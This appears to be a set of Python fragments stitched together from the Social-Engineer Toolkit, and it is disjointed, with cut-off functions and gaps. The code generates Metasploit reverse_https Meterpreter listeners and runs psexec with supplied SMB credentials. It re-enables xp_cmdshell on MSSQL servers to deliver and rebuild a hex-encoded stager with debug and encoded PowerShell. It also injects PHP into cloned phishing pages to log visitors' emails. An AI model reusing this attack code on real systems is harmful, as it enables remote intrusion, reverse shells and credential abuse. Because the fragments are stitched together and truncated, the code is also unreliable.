payload = "windows/meterpreter/reverse_https\n"  # if we are using x86
    command = x86  # assign powershell to command

    # write out our answer file for the powershell injection attack
    with open(core.userconfigpath + "reports/powershell/powershell.rc", "w") as filewrite:
        filewrite.write("use multi/handler\n"
                        "set payload windows/meterpreter/reverse_https\n"
                        "set LPORT {0}\n"
                        "set LHOST {1}\n"
                        "set EnableStageEncoding true\n"
                        "set ExitOnSession false\n"
                        "exploit -j\n"
                        "use auxiliary/admin/smb/psexec_command\n"
                        "set RHOSTS {2}\n"
                        "set SMBUser {3}\n"
                        "set SMBPass {4}\n"
                        "set SMBDomain {5}\n"
                        "set THREADS {6}\n"
                        "set COMMAND {7}\n"
                        "exploit\n".format(port, ipaddr, rhosts, username, password, domain, threads, command, stage_encoding))

    # launch metasploit below
    core.print_status("Launching Metasploit.. This may take a few seconds.")
    subprocess.Popen("{0} -r {1}".format(os.path.join(core.meta_path() + "msfconsole"),
                                         os.path.join(core.userconfigpath, "reports/powershell/powershell.rc")),
                     shell=True).wait()

# handle exceptions
except Exception as e:
    core.print_error("Something went wrong printing error: {0}".format(e))

        choice = core.yesno_prompt("0", "Do you want to start the listener now [yes/no]: ")
        if choice == 'NO':
            pass

        # if we want to start the listener
        if choice == 'YES':
            with open(core.setdir + "/reports/powershell/powershell.rc", "w") as filewrite:
                filewrite.write("use multi/handler\n"
                                "set payload windows/meterpreter/reverse_https\n"
                                "set LPORT {0}\n"
                                "set LHOST 0.0.0.0\n"
                                "set ExitOnSession false\n"
                                "exploit -j".format(port))

            msf_path = core.meta_path()
            subprocess.Popen("{0} -r {1}".format(os.path.join(msf_path, "msfconsole"),
                                                 os.path.join(core.setdir, "reports/powershell/powershell.rc")),
                             shell=True).wait()

        core.print_status("Powershell files can be found under {0}".format(os.path.join(core.setdir, "reports/powershell")))
        core.return_continue()

    # if we select powershell reverse shell
    if powershell_menu_choice == "2":

        # prompt for IP address and port
        port = input(core.setprompt(["29"], "Enter the port for listener [443]"))
        # default to 443
        if not port:
            port = "443"

#.........这里部分代码省略.........
    #
    ##########################################################################

    if not apache:
        if multiattack_harv == 'off':
            try:
                # specify port listener here
                # specify the path for the SET web directories for the applet
                # attack
                path = os.path.join(core.setdir, "web_clone/")
                try:
                    import src.core.webserver as webserver
                    p = multiprocessing.Process(target=webserver.start_server, args=(web_port, path))
                    p.start()
                except:
                    thread.start_new_thread(webserver.start_server, (web_port, path))

            # Handle KeyboardInterrupt
            except KeyboardInterrupt:
                core.exit_set()

            # Handle Exceptions
            except Exception as e:
                core.log(e)
                print("{0}[!] ERROR: You probably have something running on port 80 already, Apache??"
                      "[!] There was an issue, printing error: {1}{2}".format(core.bcolors.RED, e, core.bcolors.ENDC))
                stop_apache = input("Attempt to stop Apache? y/n: ")
                if stop_apache == "yes" or stop_apache == "y" or stop_apache == "":
                    subprocess.Popen("/etc/init.d/apache2 stop", shell=True).wait()
                    try:
                        # specify port listener here
                        import src.core.webserver as webserver
                        # specify the path for the SET web directories for the
                        # applet attack
                        path = os.path.join(core.setdir + "web_clone")
                        p = multiprocessing.Process(target=webserver.start_server, args=(web_port, path))
                        p.start()

                    except:
                        print("{0}[!] UNABLE TO STOP APACHE! Exiting...{1}".format(core.bcolors.RED, core.bcolors.ENDC))
                        sys.exit()

            # if we are custom, put a pause here to not terminate thread on web
            # server
            if template == "CUSTOM" or template == "SELF":
                custom_exe = core.check_options("CUSTOM_EXE=")
                if custom_exe:
                    while True:
                        # try block inside of loop, if control-c detected, then
                        # exit
                        try:
                            core.print_warning("Note that if you are using a CUSTOM payload. YOU NEED TO CREATE A LISTENER!!!!!")
                            input("\n{0}[*] Web Server is listening. Press Control-C to exit.{1}".format(core.bcolors.GREEN, core.bcolors.ENDC))

                        # handle keyboard interrupt
                        except KeyboardInterrupt:
                            print("{0}[*] Returning to main menu.{1}".format(core.bcolors.GREEN, core.bcolors.ENDC))
                            break

    if apache:
        subprocess.Popen("cp {0} {apache_path};"
                         "cp {1} {apache_path};"
                         "cp {2} {apache_path};"
                         "cp {3} {apache_path};"
                         "cp {4} {apache_path}".format(os.path.join(definepath, "src/html/*.bin"),
                                                       os.path.join(definepath, "src/html/*.html"),
                                                       os.path.join(core.setdir, "web_clone/*"),
                                                       os.path.join(core.setdir, "msf.exe"),
                                                       os.path.join(core.setdir, "*.jar"),
                                                       apache_path=apache_path),
                         shell=True,
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE).wait()

        # if we are tracking users
        if track_email == "on":
            now = datetime.datetime.today()
            with open(os.path.join(apache_path, "harvester_{}.txt".format(now)), 'w') as filewrite:
                filewrite.write("")
            subprocess.Popen("chown www-data:www-data '{0}'".format(os.path.join(apache_path, "harvester_{}.txt".format(now))), shell=True).wait()
            # here we specify if we are tracking users and such
            with open(os.path.join(apache_path, "index.html")) as fileopen:
                data = fileopen.read()
            data = data.replace("<body>",
                                "<body>"
                                "<?php $file = 'harvester_{0}.txt'; $queryString = ''; foreach ($_GET as $key => $value) {{ $queryString .= $key . '=' . $value . '&';}}$query_string = base64_decode($queryString);file_put_contents($file, print_r(\"Email address recorded: \" . $query_string . \"\\n\", true), FILE_APPEND);?>\n"
                                "/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */".format(now))
            with open(os.path.join(apache_path, "index.php"), "w") as filewrite:
                filewrite.write(data)
            core.print_status("All files have been copied to {}".format(apache_path))

    ##########################################################################
    #
    # END WEB SERVER STUFF HERE
    #
    ##########################################################################

    if operating_system != "windows":
        # Grab metaspoit path
        msf_path = core.meta_path()

#!/usr/bin/env python
try:
    import readline
except:
    pass
from src.core.setcore import bcolors, get_version, check_os, meta_path

# grab version of SET
define_version = get_version()

# check operating system
operating_system = check_os()

# grab metasploit path
msf_path = meta_path()

PORT_NOT_ZERO = "Port cannot be zero!"
PORT_TOO_HIGH = "Let's stick with the LOWER 65,535 ports..."

main_text = " Select from the menu:\n"

main_menu = ['Social-Engineering Attacks',
             'Fast-Track Penetration Testing',
             'Third Party Modules',
             'Update the Metasploit Framework',
             'Update the Social-Engineer Toolkit',
             'Update SET configuration',
             'Help, Credits, and About']

main = ['Spear-Phishing Attack Vectors',
        'Website Attack Vectors',

if choice == "YES":

    # Open the IPADDR file
    if core.check_options("IPADDR=") != 0:
        ipaddr = core.check_options("IPADDR=")
    else:
        ipaddr = input("LHOST IP address to connect back on: ")
        core.update_options("IPADDR=" + ipaddr)

    if core.check_options("PORT=") != 0:
        port = core.check_options("PORT=")

    else:
        port = input("Enter the port to connect back on: ")

    with open(os.path.join(core.setdir + "metasploit.answers"), "w") as filewrite:
        filewrite.write("use multi/handler\n"
                        "set payload {0}\n"
                        "set LHOST {1}\n"
                        "set LPORT {2}\n"
                        "set AutoRunScript post/windows/manage/smart_migrate\n"
                        "exploit -j".format(payload, ipaddr, port))

    print("[*] Launching Metasploit....")
    try:
        child = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path() + "msfconsole"),
                                                          os.path.join(core.setdir + "metasploit.answers")))
        child.interact()
    except:
        pass

#.........这里部分代码省略.........
            else:
                if operating_system == "posix":
                    web_path = core.setdir
                    # if it isn't there yet
                    if not os.path.isfile(core.setdir + "1msf.exe"):
                        # move it then
                        subprocess.Popen("cp %s/msf.exe %s/1msf.exe" %
                                         (core.setdir, core.setdir), shell=True).wait()
                        subprocess.Popen("cp %s/1msf.exe %s/ 1> /dev/null 2> /dev/null" %
                                         (core.setdir, core.setdir), shell=True).wait()
                        subprocess.Popen("cp %s/msf2.exe %s/msf.exe 1> /dev/null 2> /dev/null" %
                                         (core.setdir, core.setdir), shell=True).wait()
            payload_filename = os.path.join(web_path + "1msf.exe")

        with open(payload_filename, "rb") as fileopen:
            # read in the binary
            data = fileopen.read()
            # convert the binary to hex
            data = binascii.hexlify(data)
            # we write out binary out to a file

        with open(os.path.join(core.setdir + "payload.hex"), "w") as filewrite:
            filewrite.write(data)

        if choice1 == "1":
            # if we are using metasploit, start the listener
            if not os.path.isfile(os.path.join(core.setdir + "set.payload")):
                if operating_system == "posix":
                    try:
                        core.module_reload(pexpect)
                    except:
                        import pexpect
                        core.print_status("Starting the Metasploit listener...")
                        msf_path = core.meta_path()
                        child2 = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path() + "msfconsole"),
                                                                        os.path.join(core.setdir + "meta_config")))

        # random executable name
        random_exe = core.generate_random_string(10, 15)

    #
    # next we deploy our hex to binary if we selected option 1 (powershell)
    #
    if option == "1":
        core.print_status("Using universal powershell x86 process downgrade attack..")
        payload = "x86"

        # specify ipaddress of reverse listener
        ipaddr = core.grab_ipaddress()
        core.update_options("IPADDR=" + ipaddr)
        port = input(core.setprompt(["29"], "Enter the port for the reverse [443]"))

        if not port:
            port = "443"

        core.update_options("PORT={0}".format(port))
        core.update_options("POWERSHELL_SOLO=ON")
        core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...")

        #with open(os.path.join(core.setdir + "/payload_options.shellcode"), "w") as filewrite:
        # format needed for shellcode generation
        filewrite = file(core.setdir + "/payload_options.shellcode", "w")
        filewrite.write("windows/meterpreter/reverse_https {0},".format(port))
        filewrite.close()

        try:

def deploy_hex2binary(ipaddr,port,username,password,option):
        # connect to SQL server
        target_server = _mssql.connect(ipaddr + ":" + str(port), username, password)
        setcore.print_status("Connection established with SQL Server...")
        setcore.print_status("Converting payload to hexadecimal...")
        # if we are using a SET interactive shell payload then we need to make the path under web_clone versus program_junk
        if os.path.isfile("src/program_junk/set.payload"):
                web_path = ("src/program_junk/web_clone/")
        # then we are using metasploit
        if not os.path.isfile("src/program_junk/set.payload"):
                if operating_system == "posix":
                        web_path = ("src/program_junk")
                        subprocess.Popen("cp src/html/msf.exe src/program_junk/ 1> /dev/null 2> /dev/null", shell=True).wait()
                        subprocess.Popen("cp src/program_junk/msf2.exe src/program_junk/msf.exe 1> /dev/null 2> /dev/null", shell=True).wait()
        fileopen = file("%s/msf.exe" % (web_path), "rb")
        # read in the binary
        data = fileopen.read()
        # convert the binary to hex
        data = binascii.hexlify(data)
        # we write out binary out to a file
        filewrite = file("src/program_junk/payload.hex", "w")
        filewrite.write(data)
        filewrite.close()

        # if we are using metasploit, start the listener
        if not os.path.isfile("%s/src/program_junk/set.payload" % (definepath)):
                if operating_system == "posix":
                        import pexpect
                        meta_path = setcore.meta_path()
                        setcore.print_status("Starting the Metasploit listener...")
                        child2 = pexpect.spawn("%s/msfconsole -r src/program_junk/meta_config" % (meta_path))

        # random executable name
        random_exe = setcore.generate_random_string(10,15)

        #
        # next we deploy our hex to binary if we selected option 1 (powershell)
        #

        if option == "1":
                # powershell command here, needs to be unicoded then base64 in order to use encodedcommand
                powershell_command = unicode("$s=gc \"C:\\Windows\\system32\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"C:\\Windows\\system32\\%s.exe\",$b)" % (random_exe,random_exe))
        
                ########################################################################################################################################################################################################
                #
                # there is an odd bug with python unicode, traditional unicode inserts a null byte after each character typically.. python does not so the encodedcommand becomes corrupt
                # in order to get around this a null byte is pushed to each string value to fix this and make the encodedcommand work properly
                #
                ########################################################################################################################################################################################################

                # blank command will store our fixed unicode variable
                blank_command = ""
                # loop through each character and insert null byte
                for char in powershell_command:
                        # insert the nullbyte
                        blank_command += char + "\x00"

                # assign powershell command as the new one
                powershell_command = blank_command
                # base64 encode the powershell command
                powershell_command = base64.b64encode(powershell_command)
                # this will trigger when we are ready to convert

        #
        # next we deploy our hex to binary if we selected option 2 (debug)
        #
        if option == "2":
                setcore.print_status("Attempting to re-enable the xp_cmdshell stored procedure if disabled..")
                # reconfigure the stored procedure and re-enable
                try:
			target_server.execute_query("EXEC master.dbo.sp_configure 'show advanced options', 1")
                        target_server.execute_query("RECONFIGURE")
                        target_server.execute_query("EXEC master.dbo.sp_configure 'xp_cmdshell', 1")
                        target_server.execute_query("RECONFIGURE")
                except: pass
                # we selected hex to binary
                fileopen = file("src/payloads/hex2binary.payload", "r")
                # specify random filename for deployment
                setcore.print_status("Deploying initial debug stager to the system.")
                random_file = setcore.generate_random_string(10,15)
                for line in fileopen:
                        # remove bogus chars
                        line = line.rstrip()
                        # make it printer friendly to screen
                        print_line = line.replace("echo e", "")
                        setcore.print_status("Deploying stager payload (hex): " + setcore.bcolors.BOLD + str(print_line) + setcore.bcolors.ENDC)
                        target_server.execute_query("xp_cmdshell '%s>> %s'" % (line,random_file))
                setcore.print_status("Converting the stager to a binary...")
                # here we convert it to a binary
                target_server.execute_query("xp_cmdshell 'debug<%s'" % (random_file))
                setcore.print_status("Conversion complete. Cleaning up...")
                # delete the random file
                target_server.execute_query("xp_cmdshell 'del %s'" % (random_file))

        # here we start the conversion and execute the payload

        setcore.print_status("Sending the main payload via to be converted back to a binary.")
        # read in the file 900 bytes at a time
        fileopen = file("src/program_junk/payload.hex", "r")
        #random_exe = setcore.generate_random_string(10,15)
#.........这里部分代码省略.........

#                                Dave Kennedy (@hackingdave)
#
##########################################################################

##########################################################################
##########################################################################

#
# grab the interface ip address
#
ipaddr = core.grab_ipaddress()

#
# metasploit_path here
#
msf_path = core.meta_path() + "msfconsole"

################################################################
#
# shell exec payload hex format below packed via upx
#
# shellcodeexec was converted to hex via binascii.hexlify:
#
# import binascii
# fileopen = open("shellcodeexec.exe", "wb")
# data = fileopen.read()
# data = binascii.hexlify(data)
# filewrite = open("hex.txt", "w")
# filewrite.write(data)
# filewrite.close()
#

#!/usr/bin/python
import subprocess
import os
import re
import sys
from src.core import setcore

# definepath
definepath=os.getcwd()
sys.path.append(definepath)


meta_path = setcore.meta_path()

# launch msf listener
setcore.PrintInfo("The payload can be found in the SET home directory.")
choice = raw_input(setcore.setprompt("0", "Start the listener now? [yes|no]"))
if choice == "yes" or choice == "y":

    # if we didn't select the SET interactive shell as our payload
    if not os.path.isfile("src/program_junk/set.payload"):
        setcore.PrintInfo("Please wait while the Metasploit listener is loaded...")
        subprocess.Popen("ruby %s/msfconsole -L -n -r src/program_junk/meta_config" % (meta_path), shell=True).wait()

    # if we did select the set payload as our option
    if os.path.isfile("src/program_junk/set.payload"):
        fileopen = file("src/program_junk/port.options", "r")
        set_payload = file("src/program_junk/set.payload", "r")
        port = fileopen.read().rstrip()
        set_payload = set_payload.read().rstrip()
        if set_payload == "SETSHELL":